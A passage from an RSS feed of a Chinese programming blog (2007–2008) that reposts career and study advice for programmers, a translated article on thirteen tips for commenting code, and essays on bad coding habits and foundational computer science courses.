size=4>5&nbsp;学会总结</font></strong> <br>&nbsp;&nbsp;知识如果不用，就会被逐渐淡忘，当你需要的时候，如何能用最短的时间回复呢？那就是记笔记。&nbsp;blog很好，写在笔记本上也行，写在一个word文件里面也好。&nbsp;总之，以你能很快的能找到为准。 <br><br><strong><font size=4>6&nbsp;身体是本钱</font></strong> <br>&nbsp;&nbsp;不多说了，大家都清楚。但会不自觉的违反这一条。呵呵！ <br><br><strong><font size=4>7&nbsp;正确理解学习过程</font></strong> <br>&nbsp;&nbsp;初学时，就是死记硬背，你只需要知道应该怎么样就可以了。 <br>&nbsp;&nbsp;有一定经验后，你就需要知道，还能怎么样？ <br>&nbsp;&nbsp;熟悉后，你应该知道为什么要这样？如果不这样会怎么样 <br>&nbsp;&nbsp;精通，这个东西适合吗？如何选择呢？ <br><br>&nbsp;&nbsp;初学：动手 <br>&nbsp;&nbsp;掌握：动手又动脑 <br>&nbsp;&nbsp;熟悉：动脑又动手 <br>&nbsp;&nbsp;精通：动脑 <br><br><strong><font size=4>8&nbsp;&nbsp;学会正确的查找问题答案的方法</font></strong> <br>&nbsp;&nbsp;&nbsp;&nbsp;一搜二问三看看&nbsp;【阿敏总司令】 <br><br>
<ul type=1>
    <li>先搜搜，坚信&nbsp;<strong><font size=3>你绝对不是第一个遇到这个问题的人 <br></font></strong>先到&nbsp;google/baidu&nbsp;搜索&nbsp;选好关键字
    <li>到论坛或者群里面发问
    <li>学会平时积累，到处看看，经常有意外收获。&nbsp;n月前的难题可以轻松解决。
    <li>你的问题一定要有经过你思考了的。不要直接要全部代码和答案的那种。&nbsp;至少我鄙视他们。没有人会花费那么多时间提供一个整套方案，就算付费的也得谈谈价钱，不合适的也不做。 <br>比如： <br>我要做一个学生学籍管理系统，请提供思路和详细的解释，最好有源代码，100分送上 <br>请问如何学好Java啊？我要学啥啊？ <br>老师让明天交作业，哪位大哥给一份答案啊？ <br>领导让做个库存管理软件&nbsp;让我写需要&nbsp;应该怎么写呢?&nbsp;大家帮帮我啊？ </li>
</ul>
<br><strong><font size=4>9&nbsp;增加你的实战经验</font></strong> <br>&nbsp;&nbsp;<strong>你可以没做过，但一定要认真思考过</strong> <br>&nbsp;&nbsp;你可能没做过什么像样的项目，至少你自己这么认为。其实不然，你做过的的项目虽然看上去小，但你可以遵循这样的目标来完善 <br>
<ul type=1>
    <li>去目标用户那里调研，了解真实的需求,不要停留在想象程度
    <li>单机版改成多用户版
    <li>C/S版增加B/S版，反之亦然
    <li>使用正式的数据库，而不是Access
    <li>完善你的程序，直到有人愿意出钱买你的程序(1元也算)，因为这代表着他是一个真正能用的，能满足实际需求的程序了
    <li>去看看别人的项目代码，好多开源的项目。看看人家是怎么解决同样的问题的。 </li>
</ul>
<p><br><font size=4><strong>10&nbsp;先学做人，后学做事</strong> <br></font>&nbsp;&nbsp;大家放眼望去会发现：大凡成功者，在谈到成功时，很少谈&#8220;做事&#8221;，而都在讲&#8220;做人&#8221;。因为不会做人，就不会做事，就会走上无为的一生，或走上大起大落坎坷艰难的不归之路 <br><br>一网友抱怨，技术总监用老掉牙的技术和思想指挥一个上千万的项目，他想按照规范来做，结果和总监发生争吵和冲突。&nbsp;最后被总监提出，你辞职吧。 <br><br>下面是我回复的内容，有点刻薄。 <br><br>奉劝你一句，你有什么资格和你的直属最高领导吵架？？？？？&nbsp; <br><br>1&nbsp;意见不和，可以私下提，不要当面顶撞，这无济于事。如果我是老板，我也开除你。&nbsp; <br>2&nbsp;技术要服从于业务，如果你总是对的，你为何不自己做老板？你能拉来几千万的项目？&nbsp; <br>3&nbsp;既然大家谈不拢，和平离开就可以了。我估你你们没有个人恩怨。不过目前好像有了。 <br><br>我以前也和你一样，自己认为都是对的，可实际呢？&nbsp;没有我们，地球照样转，人家几千万的项目照样做。&nbsp; <br><br>当你做老板，你的手下人每天都顶撞你时，你也会这么做。&nbsp;历史上刚直不阿的人，大多是悲惨的下场。&nbsp; <br><br>社会就是这样，理想和现实是有差距的。&nbsp;&nbsp;</p>
<p>#### 针对第10条的部分内容，我已经在反馈里给了解释############################<br>解决问题的方法有好多，最好不要走那个最不好走的路。肚量再大的领导，也会有冲动的时候。<br>如果平时多注意沟通，如网友所说，能和领导经常喝喝酒，吃吃烧烤，目的能达到，还增进感情</p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/42518.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-04-18 23:16 <a href="http://www.cnitblog.com/seeyeah/archive/2008/04/18/42518.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>13 Tips to Comment Your Code</title><link>http://www.cnitblog.com/seeyeah/archive/2008/03/27/41548.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Thu, 27 Mar 2008 03:14:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2008/03/27/41548.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/41548.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2008/03/27/41548.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/41548.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/41548.html</trackback:ping><description><![CDATA[有效注释代码的13个技巧&#8230;&#8230;<br><a href="http://www.devtopics.com/13-tips-to-comment-your-code/">URL:http://www.devtopics.com/13-tips-to-comment-your-code/</a><br><br>
<hr>
<p><em>This article was written by Jos&#233; M. Aguilar in Spanish on his excellent blog </em><a href="http://www.variablenotfound.com/2007/12/13-consejos-para-comentar-tu-cdigo.html" target=_blank><em><u><font color=#0000ff>Variable Not Found</font></u></em></a><em>, and was translated, edited and republished here by Timm Martin (and <a href="http://www.google.com/translate?u=http%3A%2F%2Fwww.variablenotfound.com%2F2007%2F12%2F13-consejos-para-comentar-tu-cdigo.html&amp;langpair=es%7Cen&amp;hl=en&amp;ie=UTF8" target=_blank><u><font color=#0000ff>Google Translator</font></u></a>) with permission from Mr. Aguilar.</em></p>
<p>Following are 13 tips on how to comment your source code so that it is easier to understand and maintain over time.</p>
<p><span id=more-213></span></p>
<h3>1. Comment each level</h3>
<p>Comment each code block, using a uniform approach for each level.&nbsp; For example:
<ul>
    <li>For each class, include a brief description, author and date of last modification
    <li>For each method, include a description of its purpose, functions, parameters and results </li>
</ul>
<p>Adopting comment standards is important when working with a team.&nbsp; Of course, it is acceptable and even advisable to use comment conventions and tools (such as XML in C# or Javadoc for Java) to facilitate this task.<br>
<h3>2. Use paragraph comments</h3>
<p>Break code blocks into multiple "paragraphs" that each perform a single task, then add a comment at the beginning of each block to instruct the reader on what is about to happen.<br>
<blockquote><code>// Check that all data records<br>// are correct <br>foreach (Record record in records) <br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;if (rec.checkStatus()==Status.OK)<br>&nbsp;&nbsp;&nbsp;&nbsp;{ <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;. . . <br>&nbsp;&nbsp;&nbsp;&nbsp;} <br>} <br>// Now we begin to perform <br>// transactions <br>Context ctx = new ApplicationContext(); <br>ctx.BeginTransaction();<br>. . .</code>
<p>&#160;</p>
</blockquote>
<h3>3. Align comments in consecutive lines</h3>
<p>For multiple lines of code with trailing comments, align the comments so they will be easy to read.</p>
<blockquote>
<p><code>const MAX_ITEMS = 10; // </code><code>maximum number of packets</code> <br><code>const MASK = 0x1F;&nbsp;&nbsp;&nbsp; // m</code><code>ask bit TCP</code> </p>
</blockquote>
<p>Some developers use tabs to align comments, while others use spaces.&nbsp; Because tab stops can vary among editors and IDEs, the best approach is to use spaces. </p>
<h3>4. Don't insult the reader's intelligence</h3>
<p>Avoid obvious comments such as: </p>
<blockquote>
<p><code>if (a == 5)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;// if a equals 5 <br>&nbsp;&nbsp;&nbsp;&nbsp;counter = 0; // set the counter to zero</code></p>
</blockquote>
<p>This wastes your time writing needless comments and distracts the reader with details that can be easily deduced from the code. </p>
<h3>5. Be polite</h3>
<p>Avoid rude comments like, <em>"Notice the stupid user has entered a negative number,"</em> or <em>"This fixes the side effect produced by the pathetically inept implementation of the initial developer."&nbsp; </em>Such comments do not reflect well upon their author, and you never know who may read these comments in the future: your boss, a customer, or the pathetically inept developer you just insulted. </p>
<h3>6. Get to the point</h3>
<p>Don't write more in comments than is needed to convey the idea.&nbsp; Avoid ASCII art, jokes, poetry and <a href="http://worsethanfailure.com/Articles/Hyperverbosity-.aspx" target=_blank><u><font color=#0000ff>hyperverbosity</font></u></a>.&nbsp; In short, keep the comments simple and direct. </p>
<h3>7. Use a consistent style</h3>
<p>Some people believe that comments should be written so that non-programmers can understand them.&nbsp; Others believe that comments should be directed at developers only.&nbsp; In any event, as stated in <a href="http://particletree.com/features/successful-strategies-for-commenting-code/" target=_blank><u><font color=#0000ff>Successful Strategies for Commenting Code</font></u></a>, what matters is that comments are consistent and always targeted to the same audience.&nbsp; Personally, I doubt many non-developers will be reading code, so comments should target other developers. </p>
<h3>8. Use special tags for internal use</h3>
<p>When working on code as a team, adopt a consistent set of tags to communicate among programmers.&nbsp; For example, many teams use a "TODO:" tag to indicate a section of code that requires additional work: </p>
<blockquote>
<p><code>int Estimate(int x, int y) <br>{<br>&nbsp;&nbsp;&nbsp;&nbsp;// TODO: implement the calculations <br>&nbsp;&nbsp;&nbsp;&nbsp;return 0;<br>}</code></p>
</blockquote>
<p>Tag comments don't explain code; rather they seek attention or deliver a message.&nbsp; But if you use this technique, remember to follow up and actually do what the message is asking. </p>
<h3>9. Comment code while writing it</h3>
<p>Add comments while you write code and it's fresh in your memory.&nbsp; If you leave comments until the end, it will take you twice as long, if you do it at all.&nbsp; "I have no time to comment," "I'm in a hurry," and "The project is delayed" are all simply excuses to avoid documenting your code.&nbsp; Some developers believe you should <a href="http://freshmeat.net/articles/view/238/" target=_blank><u><font color=#0000ff>write comments before code</font></u></a> as a way to plan out your ultimate solution.&nbsp; For example:</p>
<blockquote>
<p><code>public void ProcessOrder()</code>&nbsp;<br><code>{</code><br><code>&nbsp;&nbsp;&nbsp; // </code><code>Make sure the products are available</code><br><code>&nbsp;&nbsp;&nbsp; // </code><code>Check that the customer is valid</code> <br><code>&nbsp;&nbsp;&nbsp; // </code><code>Send the order to the store</code> <br><code>&nbsp;&nbsp;&nbsp; // </code><code>Generate bill</code> <br><code>}</code></p>
</blockquote>
<h3>10. Write comments as if they were for you (in fact, they are)</h3>
<p>When it comes to commenting code, think not only about the developers who will maintain your code in the future, but also think about yourself.&nbsp; In the words of the great <a href="http://haacked.com/archive/2007/06/25/understanding-productivity-differences-between-developers.aspx" target=_blank><u><font color=#0000ff>Phil Haack</font></u></a>: </p>
<blockquote>
<p>"As soon as a line of code is laid on the screen, you&#8217;re in maintenance mode on that piece of code."</p>
</blockquote>
<p>As a result, we ourselves will be the first beneficiaries (or victims) of our good (or bad) comments. </p>
<h3>11. Update comments when you update the code</h3>
<p>There is no point in commenting correctly on code if the comments are not changed with the code.&nbsp; Both code and comments must move in parallel, otherwise the comments will actually make life more difficult for developers who maintain your code.&nbsp; Pay special attention to refactoring tools that automatically update code but leave comments unchanged and hence obsolete in the same instant. </p>
<h3>12. The golden rule of comments: readable code</h3>
<p>One of the basic principles for many developers<strong>:</strong> <strong><em>Let your code speak for itself.</em></strong>&nbsp; Although one suspects this movement is led by programmers who do not like to write comments, it is true that self-explanatory code can go a long way toward making code that's easier to understand and can even render comments unnecessary.&nbsp; For example, the code in my <a href="http://www.variablenotfound.com/2007/11/interfaces-fluidos-fluent-interfaces.html" target=_blank><u><font color=#0000ff>Fluid Interfaces</font></u></a> article shows how clear self-explanatory code can be: </p>
<blockquote>
<p><code>Calculator calc = new Calculator();<br>calc.Set(0);<br>calc.Add(10);<br>calc.Multiply(2);<br>calc.Subtract(4);<br>Console.WriteLine( "Result: {0}", calc.Get() );</code></p>
</blockquote>
<p>In this example, comments are not needed and would likely violate tip #4.&nbsp; To facilitate readable code, you might consider using proper names (as described in the classic <a href="http://www.objectmentor.com/resources/articles/naming.htm" target=_blank><u><font color=#0000ff>Ottinger's Rules</font></u></a>), ensure correct indentation, and adopt <a href="http://www.google.com/search?q=coding+style+guides&amp;ie=utf-8&amp;oe=utf-8&amp;aq=t&amp;rls=org.mozilla:en-US:official&amp;client=firefox-a" target=_blank><u><font color=#0000ff>coding style guides</font></u></a>.&nbsp; Failure to comply with this tip may result in comments that seem to <a href="http://blogs.dovetailsoftware.com/blogs/gsherman/archive/2007/05/11/are-your-code-comments-a-way-to-say-i-m-sorry-for-the-actual-code.aspx" target=_blank><u><font color=#0000ff>apologize</font></u></a> for bad code. </p>
<h3>13. Share these tips with your colleagues</h3>
<p>Although tip #10 shows how we ourselves benefit immediately from good comments, these tips will benefit all developers, especially in the context of team working together.&nbsp; Therefore, feel free to share these commenting tips with your colleagues to create code that is easier to understand and maintain.</p>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/41548.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2008-03-27 11:14 <a href="http://www.cnitblog.com/seeyeah/archive/2008/03/27/41548.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>编程活动中几个不良现象</title><link>http://www.cnitblog.com/seeyeah/archive/2007/12/16/37751.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 16 Dec 2007 05:03:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2007/12/16/37751.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/37751.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2007/12/16/37751.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/37751.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/37751.html</trackback:ping><description><![CDATA[摘至：<a href="http://www.cnblogs.com/yanrongpi/archive/2007/12/15/996072.html">http://www.cnblogs.com/yanrongpi/archive/2007/12/15/996072.html</a><br><br>P.S.<br><br>感触颇深，但有时事与愿违，无奈中&#8230;&#8230;<br>
<hr>
良好的编程习惯是每个程序员都应该具备的工作素质，在我的软件生涯中屡屡发现一些程序员的身上总有这样或者那样的坏毛病<br>这些毛病在一些从业时间不是很长的程序员的身上表现的特别突出。<br>1. 搭棚子<br>&nbsp;&nbsp; 搭棚子顾名思义就是拿到一个任务的时候，既不做更详细的需求分析，也不作详细设计，一开始就打开编程工具，噼里啪啦的定义<br>了一堆的模块，我不说是定义类，是因为这样代码里根本就找不到对象，然后就在这些模块的基础上进行工作，结果整个程序看起来就<br>象胡乱搭起来的棚子，虽然有个程序的样子，而且似乎也实现了所要的功能，但是这样的程序往往是逻辑混乱，不仅理解困难，维护起<br>来也是十分的困难。既然是个棚子，在风雨飘摇之日自然难以久长。<br>&nbsp;&nbsp;&nbsp;出现搭棚子的现象暴露出几个方面的问题。<br>&nbsp;&nbsp; 1）管理的混乱。管理者有职责去检查这样的代码，并及早给予纠正和提供指导。<br>&nbsp;&nbsp; 2）不重视设计。如果一个软件组织不重视设计，出现这样的现象是自然而然的事情。<br>&nbsp;&nbsp; 3）实用主义。在项目实施的过程中，有些人的口号就是实现功能就好，满足用户的需求就好，因而在编程的过程中总是匆匆上马，<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;表面上是加快了进度，实际为项目的后期维护埋下了炸药，严重的会严重影响项目的进度和质量。<br>2. 钉钉子<br>&nbsp;&nbsp; 钉钉子的表现为代码维护或者程序实现的时候，硬生生的往程序中添加不必要或者与对象和逻辑相关的代码。这样的代码往往表现<br>在多层体系的系统中，有些人为了偷懒，不愿意从下层将代码维护好，而是从上层开始修改，如用户需要做一个报表程序，那么有的程<br>序员的做法就是将SQL语句直接在界面层进行调用，破坏了系统的层次和封装。还有的做法就是在不相干的对象中添加对其他对象操作<br>的代码。<br>3. 甩锤子<br>&nbsp;&nbsp; 有的人刚学了一个新的技术，或者一个得到一个好的点子，不管这个点子是否使用于当前的程序，就到处应用。颇有&#8220;手上拿了个<br>锤子就看到什么都是钉子&#8221;的架势。应用新的技术或者点子是好的，但是也要看时机和场合。<br>4.&nbsp;糊窗子<br>&nbsp;&nbsp; 窗子破了的时候，如果没有地方配玻璃或者懒得去搞一块玻璃，一些人的做法就是弄一张报纸或者美女的图片帖子破了地方，以期<br>遮风挡雨。在我们的程序中出现BUG的时候就如同窗户破了一个洞。有的人不是从源头上进行解决，或者不是寻找合理的解决方案，而<br>是就地将一个漏洞堵上。其后果可能真的堵上了，但是也可能是因为其改动带来了更多的问题，也可能是堵住了一个地方，回头发现又<br>有其他的漏洞，然后不停的往程序身上帖报纸。这样的程序看起来将不知道有多难看。<br>5. 拉肚子<br>&nbsp;&nbsp; 拉肚子，我想每个人都拉过，相信每个人都会承认其滋味实际上是不怎么好受的，但实际上在编程活动中有的人偏偏喜欢这样。我<br>曾发现有的人一个函数居然超过3000行，以一屏幕25行来计算，要翻100多屏才能将一个函数的代码看完，My God！我想这样的代码<br>拿给谁谁都要捏着鼻子，更不要说去维护了。还有一个表现是一行往往写的很长，自己将滚动条滚过来滚过去不知道是否曾经感到过累<br>的慌。<br>6. 遛狗子<br>&nbsp;&nbsp; 狗子是动物，随地大小便是控制不住了，一个是它们没有文明的意识，另外一个是人无法控制它们的意识。然而我们有的程序员在<br>维护旧代码的过程，就仿佛如果遛狗。每修改一个程序就留下一些隐患，结果弄的一个原本好好的代码到处都是隐患。<br>&nbsp;&nbsp;&nbsp;以上是我的一些总结，一是提醒，而是警醒。要杜绝这样的现象，除了要加强管理，程序员的自我修炼也显得尤其重要。其实很多<br>人并不是故意要这样，而是受自身的限制。作为管理者要不断的教育和敦促程序员，程序员也要注意不断的学习，培养自己的编程意识<br>和素质，同样要培养自己对产品负责，对项目负责，对同事负责，对自己的工作负责的态度和荣誉感。 
<img src ="http://www.cnitblog.com/seeyeah/aggbug/37751.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2007-12-16 13:03 <a href="http://www.cnitblog.com/seeyeah/archive/2007/12/16/37751.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>盛大架构师周爱民回顾职业历程，分享十项建议</title><link>http://www.cnitblog.com/seeyeah/archive/2007/11/24/36836.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sat, 24 Nov 2007 08:12:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2007/11/24/36836.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/36836.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2007/11/24/36836.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/36836.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/36836.html</trackback:ping><description><![CDATA[原文摘至：<a href="http://news.csdn.net/n/20071120/110872.html">http://news.csdn.net/n/20071120/110872.html</a><br><br><strong>周爱民：<br></strong>1、不要急。<br>2、不要只做不想。<br>3、听别人的话，即使你不想听。<br>4、订一个五个期的目标，写一个一年期的计划，然后回顾它。<br>5、学好中文，学好写文章，学会打标点符号。<br>6、把工作当成事业做，天天都在做事业，才会成功。<br>7、理论看不懂，就去实践；实践遇到问题，就去看理论。<br>8、参加一个开源项目，如果没你感兴趣的，就自己发起一个。<br>9、保持自己对某一件事物的热心、执着，即使这件事与你是不是程序员毫无关系。<br>10、成功不能被复制，但失败总在不停复制。看看别人是怎么倒下的，你可以更早地成功。<br><br>
<hr>
<br>对比自身现状：<br>1、做事之前会尽量考虑所以有可能发生的事情，这样做事就会不急；但超越我考虑范围内的事情发生了，我就会急。其实这才是最不应该急的时候！<br>2、只想不做。<br>3、别人的话是很难听，但我也会冷静下来，尽量全单招收。<br>4、无计划<br>5、惭愧。中文没学好，还想学英文、日文。<br>6、本来就如此。<br>7、经典，铭记。<br>8、现在无。但会考虑参加。<br>9、NBA、电影、流行音乐，Good！<br>10、经典，铭记。<br><br>
<img src ="http://www.cnitblog.com/seeyeah/aggbug/36836.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cnitblog.com/seeyeah/" target="_blank">KiMoGiGi</a> 2007-11-24 16:12 <a href="http://www.cnitblog.com/seeyeah/archive/2007/11/24/36836.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>程序人生－－一个程序员对学弟学妹建议（转） </title><link>http://www.cnitblog.com/seeyeah/archive/2007/11/04/35795.html</link><dc:creator>KiMoGiGi</dc:creator><author>KiMoGiGi</author><pubDate>Sun, 04 Nov 2007 03:31:00 GMT</pubDate><guid>http://www.cnitblog.com/seeyeah/archive/2007/11/04/35795.html</guid><wfw:comment>http://www.cnitblog.com/seeyeah/comments/35795.html</wfw:comment><comments>http://www.cnitblog.com/seeyeah/archive/2007/11/04/35795.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnitblog.com/seeyeah/comments/commentRss/35795.html</wfw:commentRss><trackback:ping>http://www.cnitblog.com/seeyeah/services/trackbacks/35795.html</trackback:ping><description><![CDATA[<p>我始终认为，对一个初学者来说，IT界的技术风潮是不可追赶。我时常看见自己的DDMM们把课本扔了，去卖些价格不菲的诸如C#, VB.Net 这样的大部头，这让我感到非常痛心。而许多搞不清指针是咋回事的BBS站友眉飞色舞的讨论C#里面可以不用指针等等则让我觉得好笑。C#就象当年的ASP一样，&#8220;忽如一夜春风来，千树万树梨花开&#8221;，结果许多学校的信息学院成了&#8220;Web 学院&#8221;。96,97级的不少大学生都去做Web 了。当然我没有任何歧视某一行业的意识。我只是觉得如果他们把追赶这些时髦技术的时间多花一点在基础的课程上应该是可以走得更远的。</p>
<p><strong>几个误区</strong><br>初学者对C#风潮的追赶其实也只是学习过程中经常遇到的几个误区之一。我将用一些实际的例子来说明这些现象，你可以按部就班的看看自己是不是属于其中的一种或者几种：</p>
<p><strong>认为计算机技术等于编程技术:</strong></p>
<p>有些人即使没有这个想法，在潜意识中也有这样的冲动。让我奇怪的是，许多信息学院的学生也有这样的念头。认为计算机专业就是编程专业，与编程无关的，或者不太相关课程他统统都不管，极端的学生只要书上没带&#8220;编程&#8221;两个字他就不看。</p>
<p>其实编程只是计算机技术应用过程中一种复杂性最低的劳动，这就是为什么IT业最底层的人是程序员（CODER）。计算机技术包括了多媒体，计算机网络，人工智能，模式识别，管理信息系统等等这些方面。编程工作只是在这些具体技术在理论研究或者工程实践的过程中表达算法的过程。编程的人不一定对计算机技术的了解就一定很高。而一个有趣的现象是，不少大师级的计算机技术研究者是不懂编程的。网上的炒作和现实中良好的工作待遇把编程这种劳动神秘化了。其实每一个程序员心里都明白，自己这些东西，学的时候并不比其它专业难，所以自然也不会高档到哪里去。</p>
<p><br><strong>咬文嚼字的孔已己作风:</strong></p>
<p>我见过一本女生的《计算机网络原理》教材，这个女生像小学生一样在书上划满了横杠杠，笔记做得满满的，打印出来一定比教材还厚。我不明白的是，像计算机网络原理这样的课程有必要做笔记？我们的应试教育的确害了不少学生，在上《原理》这一类课程的时候许多学生像学《马列原理》一样逐字背诵记忆。这乃是我见过的最愚蠢的行为。所谓《原理》，即是需要掌握它为什么这样做，学习why，而不是how（怎样做）。极端认真的学生背下以太网的网线最大长度，数据帧的长度，每个字段的意义，IP报头的格式等等，但是忘了路由的原则，忘了TCP/IP协议设计的宗旨。总之许多人花了大量的时间把书背得滚瓜烂熟却等于什么也没学。</p>
<p>在学习编程的时候这些学生也是这样，他们确切的记得C++语法的各个细节。看完了C++ 教程后看《Thinking in C++》（确实是好书），《Inside C++》，《C++ reference》，this C++, that C++&#8230;&#8230;，然后是网上各种各样的关于C++语法的奇闻逸事，然后发现自己又忘了C++的一些语法，最后回头继续恶补&#8230;。有个师弟就跟我说：&#8220;C++ 太难了，学了这里忘了那里，学了继承忘了模板。&#8221;我的回答道：&#8220;你不去学就容易了&#8221;。我并没有教坏他，只是告诉他，死抠C++的语法就和孔已己炫耀茴香豆的茴字有几种写法一样毫无意义。你根本不需要对的C++语法太关心，动手编程就是了，有不记得的地方一查MSDN就立马搞定。我有个结论就是，实际的开发过程中对程序语法的了解是最微不足道的知识。这是为什么我在为同学用Basic（我以前从没有学过它）写一个小程序的时候，只花了半个小时看了看语法，然后再用半个小时完成了程序，而一个小时后我又完全忘记了Basic 的所有关键字。</p>
<p><strong>不顾基础，盲目追赶时髦技术：</strong></p>
<p>终于点到题目上来了。大多数的人都希望自己的东西能够马上跑起来，变成钱。这种想法对一个已经进入职业领域的程序员或者项目经理来说是合理的，而且IT技术进步是如此的快，不跟进就是失业。但是对于初学者来说（尤其是时间充裕的大中专在校生），这种想法是另人费解的。一个并未进入到行业竞争中来的初学者最大的资本便是他有足够的时间沉下心来学习基础性的东西，学习why 而不是how。时髦的技术往往容易掌握，而且越来越容易掌握，这是商业利益的驱使，为了最大化的降低软件开发的成本。但在IT领域内的现实就是这样，越容易掌握的东西，学习的人越多，而且淘汰得越快。每一次新的技术出来，都有许多初学者跟进，这些初学者由于缺乏必要的基础而使得自己在跟进的过程中花费大量的时间，而等他学会了，这种技术也快淘汰了。基础的课程，比方数据结构，操作系统原理等等虽然不能让你立马就实现一个linux（这是许多人嘲笑理论课程无用的原因），但它们能够显著的减少你在学习新技术时学习曲线的坡度。而且对于许多关键的技术（比方Win32 SDK 程序的设计，DDK的编程）来说甚至是不可或缺的。</p>
<p>一个活生生的例子是我和我的一个同学，在大一时我还找不到开机按纽，他已经会写些简单的汇编程序了。我把大二的所有时间花在了汇编，计算机体系结构，数据结构，操作系统原理等等这些课程的学习上，而他则开始学习HTML和VB，并追赶ASP的潮流。大三的时候我开始学习Windows 操作系统原理，学习SDK编程，时间是漫长的，这时我才能够用VC开发出象模象样的应用程序。我曾一度因为同学的程序已经能够运行而自己还在学习如何创建对话框而懊恼不已，但临到毕业才发现自己的选择是何等的正确。和我谈判的公司开出的薪水是他的两倍还多。下面有一个不很恰当的比方：假设学习VB编程需要4个月，学习基础课程和VC的程序设计需要1年。那么如果你先学VB，再来学习后者，时间不会减少，还是1年，而反过来，如果先学习后者，再来学VB，也许你只需要1个星期就能学得非常熟练。</p>
<p>&nbsp;</p>
<p><strong>几个重要的基础课程</strong></p>
<p>如果你是学生，或者如果你有充足的时间。我建议你仔细的掌握下面的知识。我的建议是针对那些希望在IT技术上有所成就的初学者。同时我还列出了一些书目，这些书应该都还可以在书店买到。说实在的，我在读其他人的文章时最大的心愿就是希望作者列出一个书单。</p>
<p>大学英语－不要觉得好笑。我极力推荐这门课程是因为没有专业文档的阅读能力是不可想象的。中文的翻译往往在猴年马月才会出来，而现在的许多出版社干脆就直接把E文印刷上去。学习的方法是强迫自己看原版的教材，开始会看不懂，用多了自然熟练。吃得苦下得狠心绝对是任何行业都需要的品质。</p>
<p>计算机体系结构和汇编语言－关于体系结构的书遍地都是，而且也大同小异，倒是汇编有一本非常好的书《80x86汇编语言程序设计教程》（清华大学出版社，黑色封面，杨季文著）。你需要着重学习386后保护模式的程序设计。否则你在学习现代操作系统底层的一些东西的时候会觉得是在看天书。</p>
<p>计算机操作系统原理－我们的开发总是在特定的操作系统上进行，如果不是，只有一种可能：你在自己实现一个操作系统。无论如何，操作系统原理是必读的。这就象我们为一个芯片制作外围设备时，芯片基本的工作时序是必需了解的。这一类书也很多，我没有发现哪一本书非常出众。只是觉得在看完了这些书后如果有空就应该看看《Inside Windows 2000》(微软出版社，我看的是E文版的，中文的书名想必是Windows 2000 技术内幕之类吧)。关于学习它的必要性，ZDNET上的另一篇文章已经有过论述。</p>
<p>数据结构和算法－这门课程能够决定一个人程序设计水平的高低，是一门核心课程。我首选的是清华版的（朱战立，刘天时）。很多人喜欢买C++版的，但我觉得没有必要。C++的语法让算法实现过程变得复杂多了，而且许多老师喜欢用模块这一东西让算法变得更复杂。倒是在学完了C版的书以后再来浏览一下C++的版的书是最好的。</p>
<p>软件工程－这门课程是越到后来就越发现它的重要，虽然刚开始看时就象看马哲一样不知所云。我的建议是看《实用软件工程》（黄色，清华）。不要花太多的时间去记条条框框，看不懂就跳过去。在每次自己完成了一个软件设计任务（不管是练习还是工作）以后再来回顾回顾，每次都会有收获。</p>
<p>Windows 程序设计－《北京大学出版社，Petzold著》我建议任何企图设计Windows 程序的人在学习VC以前仔细的学完它。而且前面的那本《Inside Windows 2000》也最好放到这本书的后面读。在这本书中，没有C++，没有GUI，没有控件。有的就是如何用原始的C语言来完成Windows 程序设计。在学完了它以后，你才会发现VC其实是很容易学的。千万不要在没有看完这本书以前提前学习VC，你最好碰都不要碰。我知道的许多名校甚至都已经用它作为教材进行授课。可见其重要。</p>
<p>上面的几门课程我认为是必学的重要课程（如果你想做Windows 程序员）。</p>
<p>对于其它的课程有这样简单的选择方法：如果你是计算机系的，请学好你所有的专业基础课。如果不是，请参照计算机系的课程表。如果你发现自己看一本书时无法看下去了，请翻到书的最后，看看它的参考文献，找到它们并学习它们，再回头看这本书。如果一本书的书名中带有&#8220;原理&#8221;两个字，你一定不要去记忆它其中的细节，你应该以一天至少50页的速度掌握其要领。尽可能多的在计算机上实践一种理论或者算法。</p>
<p>你还可以在CSDN上阅读到许多书评。这些书评能够帮助你决定读什么样的书。</p>
